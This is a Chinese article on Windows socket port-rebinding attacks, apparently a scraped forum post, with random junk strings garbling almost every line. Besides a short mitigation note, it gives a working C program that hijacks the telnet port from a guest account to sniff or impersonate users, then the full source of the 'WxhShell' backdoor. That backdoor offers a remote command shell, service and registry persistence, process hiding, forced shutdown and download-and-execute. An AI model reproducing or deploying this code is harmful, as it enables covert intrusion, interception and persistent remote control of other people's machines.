在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
ROj9#: s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
l;vA"b=] Q|tzA10E
saddr.sin_family = AF_INET;
(Z#j^}G_l oRQ(l I> saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Z1sRLkR^ oG'
'my#3 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
,Lr}P Tk:%YS;= 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
~'t+X -MuKeCgi 这意味着什么?意味着可以进行如下的攻击:
yPT\9"/ Py~N.@(:1u 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
Vh8RVFi;c I^!c1S 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
0s%]%2ON Ep8 y 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
jOU1F1 z.0!FUd 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
LhQidvCNJ EQ2HQz] 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
1SY3 2X|nPhNi 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
mmBZ}V+&= {z*`*
O@ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
C:{&cIFrPe #b+>O+vx8 #include
[A46WF>L #include
@+(a{%~7y #include
3?-2~s3gp #include
`fUPq
; DWORD WINAPI ClientThread(LPVOID lpParam);
W;ADc2#) int main()
ah|`),o(k {
ZY-mUg WORD wVersionRequested;
sT+\
z DWORD ret;
p5 )+R/ WSADATA wsaData;
xqLIs:* BOOL val;
X2to](\%X SOCKADDR_IN saddr;
*D;VZs0O SOCKADDR_IN scaddr;
jWJ/gv~ $ int err;
*&vi3#ur SOCKET s;
m`H9^w%W SOCKET sc;
Nj|~3
*KO int caddsize;
o>oZh1/\T, HANDLE mt;
kq=tL@W`0} DWORD tid;
=%R|@lz_x wVersionRequested = MAKEWORD( 2, 2 );
8`;3`lZ err = WSAStartup( wVersionRequested, &wsaData );
?%RR+(2m if ( err != 0 ) {
Q2K)Nl >_ printf("error!WSAStartup failed!\n");
`%Uz0h F return -1;
?KtvXTy{m }
BRGTCR saddr.sin_family = AF_INET;
AAld2"r )0xEI //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Ehf3L |9 ]#Q'~X W saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
?ne!LDlE| saddr.sin_port = htons(23);
tx{tIw^2; if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
vV+>JM6<K {
{;j@-=pV printf("error!socket failed!\n");
\J?5Kl[*c return -1;
Q W1d&Gb.( }
V;SXa|, val = TRUE;
'P5|[du+ //SO_REUSEADDR选项就是可以实现端口重绑定的
)./.rtP|4 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
5Pu
F]5 {
a?QDf5Cq printf("error!setsockopt failed!\n");
#3o]Qo[Sc return -1;
W mT(>JBO }
|`yzH$,F //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
%*wOJx //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
h2C1'+Q{9 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
J((.zLvz Obm@2;^g6 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
9p5{,9 .3* {
!^*I?9P ret=GetLastError();
k(v8zDq* printf("error!bind failed!\n");
MJ:>ZRXCE return -1;
2o5v{W }
}uE8o"q
listen(s,2);
044*@a5f while(1)
Ck0R%| {
%Pb 5PIk4 caddsize = sizeof(scaddr);
\4.U.pKY //接受连接请求
ZP&"[_ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
]8X Y"2b if(sc!=INVALID_SOCKET)
$*{$90Q {
F"-w mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
y'<juaw if(mt==NULL)
D~xUr)E {
0Up@+R2 printf("Thread Creat Failed!\n");
5M{DJ/q break;
wxg`[c$: }
f*g>~! }
$z+iB;x CloseHandle(mt);
X]Emz" }
Upr:sB closesocket(s);
F%Lniv/N WSACleanup();
%&yD^q_ return 0;
Lj$yGd K< }
q)ygSOtj DWORD WINAPI ClientThread(LPVOID lpParam)
26E"Ui5q {
FV/X&u8~ SOCKET ss = (SOCKET)lpParam;
+SmcZ^\OZ SOCKET sc;
9Osjh G unsigned char buf[4096];
?'K}bmdt}. SOCKADDR_IN saddr;
W9?Yzl long num;
x, js}Mlw DWORD val;
KLXv?4! DWORD ret;
_1c'~; //如果是隐藏端口应用的话,可以在此处加一些判断
*0y+=,"QU //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
I~qS6#%r saddr.sin_family = AF_INET;
Hi{c[; saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
QJo) saddr.sin_port = htons(23);
IC9:&C[ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
56*}}B$? {
9o P8| <+ printf("error!socket failed!\n");
%#NaM\=8v return -1;
8^zI }
T IPb ] val = 100;
>.PLD} zE_ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
DT(A~U<y {
e(BF=gesgp ret = GetLastError();
7I`e5\ u return -1;
:gb7Py'C }
+J$[RxQ# if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
lMp)T** {
jh`&c{#*)M ret = GetLastError();
-zHJ# return -1;
D<}KTyG] }
~LHG if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
uKh),@JV {
R|8)iW^ printf("error!socket connect failed!\n");
TH)gW closesocket(sc);
w*Sl closesocket(ss);
R#Id"O return -1;
.BlGV 2@^# }
s9qr;}U.` while(1)
&~G>pvZ {
{DBgW}, //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
ve=oH;zf //如果是嗅探内容的话,可以再此处进行内容分析和记录
Oh~JyrZy //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
6I72;e^! num = recv(ss,buf,4096,0);
N4}/n if(num>0)
k%/Z.4vQG send(sc,buf,num,0);
+Ld4e] else if(num==0)
ed2QGTgR break;
S!2M?}LU num = recv(sc,buf,4096,0);
p-y,OG if(num>0)
WWc{]R^D send(ss,buf,num,0);
OYgD9T.8^ else if(num==0)
i=.zkIjSh break;
2ME3= C }
-2w\8]u closesocket(ss);
}9aYU;9D closesocket(sc);
t@>Uc`% return 0 ;
tV9nC }
X&TTw/J!^ #)tt}GX 6^s=25>p ==========================================================
Aj;Z
& .4^Ep\\ 下边附上一个代码,,WXhSHELL
k!>MZ gb|C592R5C ==========================================================
,mhO\P96ik p./zW
)7+ #include "stdafx.h"
A|I7R- 0ym>Hbax) #include <stdio.h>
* h!gjbi #include <string.h>
Z[RE|l{ #include <windows.h>
8Sd<!
#include <winsock2.h>
[DC8X P5< #include <winsvc.h>
c]v$C&FX #include <urlmon.h>
U
]`SM6 A7 qyv0F #pragma comment (lib, "Ws2_32.lib")
D kl4^} #pragma comment (lib, "urlmon.lib")
IC{\iwO/~c NBwxN #define MAX_USER 100 // 最大客户端连接数
lRF04 #define BUF_SOCK 200 // sock buffer
5f(yF #define KEY_BUFF 255 // 输入 buffer
(,
/`*GC @#hd8_)A. #define REBOOT 0 // 重启
0/S|h"-L #define SHUTDOWN 1 // 关机
OS;qb:; oDogM`T` #define DEF_PORT 5000 // 监听端口
RSC^R}a5 ijEMS1$=7 #define REG_LEN 16 // 注册表键长度
-~\R.<+ #define SVC_LEN 80 // NT服务名长度
y3{'s>O6 "SJp9s3 // 从dll定义API
5ltEnvN typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
ecDni>W typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
SR)G!9z_/ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
B9^@d typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
YRa{6*M y.(Yh1 // wxhshell配置信息
&*}`uJt struct WSCFG {
)c!7V)z int ws_port; // 监听端口
]CHO5'%,$ char ws_passstr[REG_LEN]; // 口令
}N[|2nR' int ws_autoins; // 安装标记, 1=yes 0=no
U l8G R char ws_regname[REG_LEN]; // 注册表键名
7iMBDkb7 char ws_svcname[REG_LEN]; // 服务名
9'nM$a char ws_svcdisp[SVC_LEN]; // 服务显示名
fy]z<SPhVJ char ws_svcdesc[SVC_LEN]; // 服务描述信息
U4)x "s[CP char ws_passmsg[SVC_LEN]; // 密码输入提示信息
B_R
J;.oH int ws_downexe; // 下载执行标记, 1=yes 0=no
uq?(( char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
8_byS<b8 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
g~EN3~ eajctkzj };
aT|SKb` dpG l // default Wxhshell configuration
#J=^CE struct WSCFG wscfg={DEF_PORT,
"/H B# "xuhuanlingzhe",
pRR1k? 1,
]JDKoA{S0 "Wxhshell",
VWhq+8z "Wxhshell",
QFekj@ "WxhShell Service",
7`eg;s^ "Wrsky Windows CmdShell Service",
(sM$=M<$ "Please Input Your Password: ",
p+x}$&<| 1,
*<r\:g "
http://www.wrsky.com/wxhshell.exe",
s Zn@y e^ "Wxhshell.exe"
Pgug!![ };
Nm{| ]bcAbCZ@ // 消息定义模块
2/o_,k char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
QC\r|RXW char *msg_ws_prompt="\n\r? for help\n\r#>";
s!73To}> char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
q,;8Ka ) char *msg_ws_ext="\n\rExit.";
GN1Q\8)o char *msg_ws_end="\n\rQuit.";
%"[`
char *msg_ws_boot="\n\rReboot...";
bi{G
:xt char *msg_ws_poff="\n\rShutdown...";
'kuLkM, char *msg_ws_down="\n\rSave to ";
1&Z#$iD C>NLZMT char *msg_ws_err="\n\rErr!";
My6a.Kl char *msg_ws_ok="\n\rOK!";
yC&u^{~BC DhVO}g)2# char ExeFile[MAX_PATH];
_ASyGmO{ int nUser = 0;
R)ep1X^ HANDLE handles[MAX_USER];
"J(T?|t int OsIsNt;
5ho!}K ;9MIapfUd( SERVICE_STATUS serviceStatus;
Q]1s*P SERVICE_STATUS_HANDLE hServiceStatusHandle;
5M v<8P~ PenkqDc} // 函数声明
/OD@Xl];K int Install(void);
#1)#W6 h\ int Uninstall(void);
r }S>t~p: int DownloadFile(char *sURL, SOCKET wsh);
<D`VFSEJ int Boot(int flag);
dBm!`;r4 void HideProc(void);
'w"hG$". int GetOsVer(void);
Um~DA int Wxhshell(SOCKET wsl);
pqF!1 void TalkWithClient(void *cs);
)NLjv=ql int CmdShell(SOCKET sock);
0/5{v6_rG int StartFromService(void);
A.+Qa int StartWxhshell(LPSTR lpCmdLine);
s&d!+-\6_ {>Yna"p VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
(z.4er}o VOID WINAPI NTServiceHandler( DWORD fdwControl );
b"JX6efnN ruU &.mZ // 数据结构和表定义
ubs>(\`q" SERVICE_TABLE_ENTRY DispatchTable[] =
ZH)thd9^b {
g/+|gHq^ {wscfg.ws_svcname, NTServiceMain},
(zml704dI) {NULL, NULL}
TCI)L}L| };
=m-nvXD bH}?DMq]O // 自我安装
h $)4%Fy int Install(void)
aZ'(ar: {
rVM?[_'O char svExeFile[MAX_PATH];
'FM_5`& HKEY key;
c[+uwO~ strcpy(svExeFile,ExeFile);
8}Cp(z2 +>QD4z# // 如果是win9x系统,修改注册表设为自启动
E_H.!pr
if(!OsIsNt) {
U>hpYqf_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
y:YJv x6&4 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
2O(= 2X RegCloseKey(key);
'M35L30 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
si1Szmx, RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
5ajd$t RegCloseKey(key);
s x2\ return 0;
]$)U~)T
iW }
LMaY}m> }
!i8'gq'q }
,56objaE else {
\ZtF,`Z X\1.,]O > // 如果是NT以上系统,安装为系统服务
!'(QF9%Q SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
YhO-ecN if (schSCManager!=0)
,&LGAa {
@DuSii#.S SC_HANDLE schService = CreateService
Q\pI\]p: (
3M"eAK([ schSCManager,
do DpTwvh wscfg.ws_svcname,
\<%?=C'w~ wscfg.ws_svcdisp,
lNx:_g:SrZ SERVICE_ALL_ACCESS,
j4+kL4M@H SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
<P_B|Y4N/ SERVICE_AUTO_START,
HFW8x9Cc SERVICE_ERROR_NORMAL,
CD pLV: svExeFile,
%Krf,H NULL,
K?6#jT6# NULL,
Id=g!L| NULL,
9uW\~DwsZ% NULL,
/{!?e<N>
NULL
yZY.B
{ );
lj 2OOU{ if (schService!=0)
'Omj-o'tn9 {
1? Im" CloseServiceHandle(schService);
+&.wc;mi CloseServiceHandle(schSCManager);
:y^%I xs{1 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
O[^u<*fi{ strcat(svExeFile,wscfg.ws_svcname);
?y2v?h" if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
^ ^k]2oG RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
sJ7ZE-v]h RegCloseKey(key);
`Zd\d:Wyv return 0;
;fZ9:WB }
CYZ0F5+t }
E\vW>g*W CloseServiceHandle(schSCManager);
T*rx5*:o }
6Jd.Eg ~A7 }
a$]i8AeG x"{WLZ return 1;
_qsg2e}n }
b9 TsuY 9;tY'32/ // 自我卸载
e<r}{=1w int Uninstall(void)
S(Q=2Y {
d< b ,]. HKEY key;
4x2,X`pe3 l@`Do [ if(!OsIsNt) {
N_R(i3c6U! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
L%
`lC] RegDeleteValue(key,wscfg.ws_regname);
Og<nnq RegCloseKey(key);
/eY}0q% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
nP#|JRn= RegDeleteValue(key,wscfg.ws_regname);
LW*v/`@ RegCloseKey(key);
67A g.f6- return 0;
o((!3H{D }
Jo4iWJpK }
]B3f$;W }
Uq^-km#a else {
H,0Io 1s6L]&B SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
tPaNhm[-q7 if (schSCManager!=0)
B;c2gu
{
nj6|WJ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
J4#rOS if (schService!=0)
giORc
{
&%r<_1 if(DeleteService(schService)!=0) {
Ft 6{g
JBG CloseServiceHandle(schService);
jP}Ix8vc= CloseServiceHandle(schSCManager);
PDkg@#&y,k return 0;
{8T/;K@ }
xP-\)d-.aN CloseServiceHandle(schService);
D8f4X
w}= }
bDjm:G CloseServiceHandle(schSCManager);
L)X[$: }
*u ]aWx }
pB'{_{8aA X ;Cl8 return 1;
x &*2R#Ai }
QE+HL8c^s Y(B3M=j // 从指定url下载文件
#83pitcc int DownloadFile(char *sURL, SOCKET wsh)
p mUG`8SY {
%/w%A:y#& HRESULT hr;
`oOVR6{K9 char seps[]= "/";
0+Z?9$a1 char *token;
_B7+n"t\r char *file;
)4^Sz &\ char myURL[MAX_PATH];
$7*@TMX char myFILE[MAX_PATH];
65U&P5W d~#:t~
$, strcpy(myURL,sURL);
A,4Z{f83 token=strtok(myURL,seps);
@t2S"s$m while(token!=NULL)
rIeOli:< {
yq12"Rs file=token;
s9,Z}]Th token=strtok(NULL,seps);
<-"[9 w }
=@!s[ cC]lO GetCurrentDirectory(MAX_PATH,myFILE);
6"yIk4u: strcat(myFILE, "\\");
6#kmV strcat(myFILE, file);
RMlx[nsq send(wsh,myFILE,strlen(myFILE),0);
)yUSuK(Vu send(wsh,"...",3,0);
xE-
_Fv9 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
RV),E:? if(hr==S_OK)
3;F up4!4} return 0;
ak\[+wQ else
kL"Y>@H return 1;
HL%|DCo y.gjs<y }
vngn^2 H`
h]y // 系统电源模块
!M}ZK( int Boot(int flag)
eC`G0.op {
MB+a?u0\ HANDLE hToken;
4e?MthJ> TOKEN_PRIVILEGES tkp;
[I,s: mn "EnxVV if(OsIsNt) {
T@d4NF# OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
%*OQH?pyx} LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
{J-Ojw|Y b tkp.PrivilegeCount = 1;
\lF-]vz* tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
krRnE7\m AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
,6aF~p;wI| if(flag==REBOOT) {
0E#?H0<OeG if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
p. KT=dZT return 0;
*d:$vaL }
(};/,t1#$ else {
q^6l`JJ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
q-qz-cR return 0;
W!JEl|] }
9>=S@hVMd }
0qL.Rnt else {
zGa
V^X if(flag==REBOOT) {
*RFBLCt if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
mpD[k9`x# return 0;
lS?#(}a1) }
;<#=|eD2 else {
]>[0DX]j if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
ut.tf \c return 0;
,3Nna:~f }
YwZ]J }
dte-2?%~j ,,G'Zur7 return 1;
mt4X }
fni7HBV? DS ;.)P" // win9x进程隐藏模块
(
;_AP. void HideProc(void)
<4TF ]5 {
b1yS1i
D 63kZ#5g(Dw HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
ynJ)6n7a if ( hKernel != NULL )
iyr<qtwK {
NG:
f>R pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
)NO,G ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
oz7=1;r FreeLibrary(hKernel);
4GS:kfti }
zICrp *vT Abk$ return;
yUs/lI, Q }
: :928y @{ L|&Mk! // 获取操作系统版本
S~M/!Xb int GetOsVer(void)
;A0ZcgF {
$F6GCM3Cx OSVERSIONINFO winfo;
gi+FL_8CzU winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
~J
>Jd GetVersionEx(&winfo);
/sSM<r]5j if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
E,QD6<?[ return 1;
%!R\-Vej else
&:~9'-O return 0;
.g_^! t }
df/7u}>9 nLR // 客户端句柄模块
y2nT)nL int Wxhshell(SOCKET wsl)
xu>grj {
RtEx
WTc SOCKET wsh;
@*WrHoa2N struct sockaddr_in client;
%K0Wm#) DWORD myID;
#-l+cu{ KK4rVb:- while(nUser<MAX_USER)
M$} AJS%8 {
(W#^-*$R int nSize=sizeof(client);
Ac\e>N wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
i0~Af`v if(wsh==INVALID_SOCKET) return 1;
iKv"200h( <slrzc_>& handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Q1(4l?X@ if(handles[nUser]==0)
o+}G/*O8 closesocket(wsh);
8Ep! else
!1l~'/r nUser++;
bpa'`sf }
<Vh}d/ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
AmrVxn4 {D8yqO A} return 0;
Dn`
}
S$46YQ 2_TFc2d // 关闭 socket
wGWv<<Qw" void CloseIt(SOCKET wsh)
'_ys4hz} {
t(}g;O- closesocket(wsh);
9zm2}6r4 nUser--;
A.(e=;0bu ExitThread(0);
HE0m# }
cI-@nV Cv;#8Wj} // 客户端请求句柄
N;4wbUPL7h void TalkWithClient(void *cs)
2I7|hZ, {
szD9z{9"y g*!1S SOCKET wsh=(SOCKET)cs;
b&'YW*W char pwd[SVC_LEN];
.UvDew/Y char cmd[KEY_BUFF];
((M>To_l char chr[1];
;O~%y' int i,j;
7Rn
4gT &ViK9 while (nUser < MAX_USER) {
-?-yeJP2 z'\BZ5riX< if(wscfg.ws_passstr) {
]l`V#Rd if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
$"va8, //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
uH#X:Vne //ZeroMemory(pwd,KEY_BUFF);
y2 R\SL, i=0;
@.,'A[D!K while(i<SVC_LEN) {
`/<f([w 8Nx fYA // 设置超时
fS p fd_set FdRead;
yoz-BS struct timeval TimeOut;
]ZH6
.@| FD_ZERO(&FdRead);
!e+Sa{X FD_SET(wsh,&FdRead);
7^1K4%IPl TimeOut.tv_sec=8;
O`Htdnu TimeOut.tv_usec=0;
F2Gg_u@7M int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
j$4lyDfD if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
L@J$kqWY X^i3(N if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
{fY(zHC pwd
=chr[0]; %&J`mq
if(chr[0]==0xd || chr[0]==0xa) { Nh !U
pwd=0; %VE FruM
break; fc4jbPp:M
} ,+x\NY2d
i++; Z1p%6f`
} aM:tg1g
M&e=LV
// 如果是非法用户,关闭 socket Z=l2Po n
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [q^pMH#U"
} #v4^,$k>
4-9cp=\PE
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); sosIu
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); waG &3m
SN`L@/I
while(1) { AP9\]qZ(7
,t|_Nc
ZeroMemory(cmd,KEY_BUFF); 7w\!3pv
Djf~8q V!
// 自动支持客户端 telnet标准 ncpA\E;ff^
j=0; ANR611-a
while(j<KEY_BUFF) { 6!){-IV
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TC
;Aj|)N
cmd[j]=chr[0]; L>N)[;|
if(chr[0]==0xa || chr[0]==0xd) { v'Up& /(
cmd[j]=0; VotI5O $
break; N8!e(YK_
} -CPLgT
j++; 5!6}g<z&L
} E.yc"|n7l2
SQk5SP
// 下载文件 Z
eWstw7
if(strstr(cmd,"http://")) { oJI+c+e"
send(wsh,msg_ws_down,strlen(msg_ws_down),0); .o8pC
if(DownloadFile(cmd,wsh)) + Cq&~<B
send(wsh,msg_ws_err,strlen(msg_ws_err),0); iT1HbAT]
else _$v$v$74^
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,- _ReL
} w aDJ
else { hiaTJE|J?
S7CD#Y[s
switch(cmd[0]) { +R31YR8C0
?[lKft
// 帮助 PU\@^)$
case '?': { `UkPXCC\1
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); QSOJHRl=C
break; fy!,cK};
} ;fv/s]X86I
// 安装 lpefOnO[
case 'i': { E+eC #!&w
if(Install()) l3kBt-m
send(wsh,msg_ws_err,strlen(msg_ws_err),0); iLFhm4.PO
else N37#Vs
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0y#TGM|0D
break; ;'| t>'0_
} pB,@<\l %
// 卸载 DFqVZ
case 'r': { DVRbTz3V
if(Uninstall()) $h'>Zvf
send(wsh,msg_ws_err,strlen(msg_ws_err),0); C6,W7M[c
else H3o Um1
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N~M-|^L
break; 2 lBu"R 6}
} mg4:N
// 显示 wxhshell 所在路径 j[y+'O
case 'p': { -ID!kZx
char svExeFile[MAX_PATH]; C`C$i>X7^
strcpy(svExeFile,"\n\r"); Q,xKi|$r
strcat(svExeFile,ExeFile); XZ&q5]PJI
send(wsh,svExeFile,strlen(svExeFile),0); Hk;) l3oB
break; YQ<O.E
} |70Lh+
// 重启 oNr~8CA`
case 'b': { c-^\YSDMN
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Mo+HLN
if(Boot(REBOOT)) HzF]hm,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]w|,n2DG
else { c1p*}T
closesocket(wsh); NFcMh+qnK
ExitThread(0); bi[gyl#
} `;!v<@:i2
break; <CUe"WbE)
} ~ugK&0i[2
// 关机 .pQ4#AJ
case 'd': { KBo/GBD]|
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 38T2IN
if(Boot(SHUTDOWN)) 2@S{e$YK`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); CCZ]`*wJ
else { cC6W1K!
closesocket(wsh); P:yMj&)
ExitThread(0); &Rx-zp&dJ
} 0@ 9em~
break; PO[
AP%;
} :kDHwYv$
// 获取shell 438+zU
case 's': { uiIY,FL$
CmdShell(wsh); V{[vIt*
closesocket(wsh); 0g@
8x_3
ExitThread(0); 4W9#z~'
break; #Xc6bA&
} b;O|-2AR
// 退出 vH+QI
case 'x': { *@r)3
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); L;0ZB=3n
CloseIt(wsh); Zv*Z^; X9
break; ~',<7eW
} {Ah\-{]
// 离开 ;w,g|=RQ
case 'q': { daIt `} s
send(wsh,msg_ws_end,strlen(msg_ws_end),0); .4"9o%
closesocket(wsh); Y,kTk
WSACleanup(); E{*~>#+
exit(1); k4+F
break; )}
y1
} vb-L "S?kC
} Y
zXL8
} )IGE2k|
; 9pOtr
// 提示信息 H/p<lp
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;N4b~k)
} \w!G
} n_%JXm#\
@O<kjR<b
return; K4i#:7r'b
} %Lexu)odW
\Clz#k8l1
// shell模块句柄 +! 6C^G
int CmdShell(SOCKET sock) `5;O|qRq
{ y(B~)T~e@
STARTUPINFO si; i8w(G<Y=
ZeroMemory(&si,sizeof(si)); xNTO59Y-s
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2+Z2`k]AC
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ik77i?Hg
PROCESS_INFORMATION ProcessInfo; Ud0%O
char cmdline[]="cmd"; 5@"&%8oeq0
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~a8J"Wh
return 0; zPU&
}7
} P@:#NU[
4^VY
// 自身启动模式 g6$X {
int StartFromService(void) eP-q[U?$n
{ G8@({EY
typedef struct 3=1aMQ
{ ?'p`Qv
DWORD ExitStatus; X&h4A4#P
DWORD PebBaseAddress; u4NMJnX
DWORD AffinityMask; b5
YE4h8%
DWORD BasePriority; ;Br8\2=$
ULONG UniqueProcessId; k/O|ia6
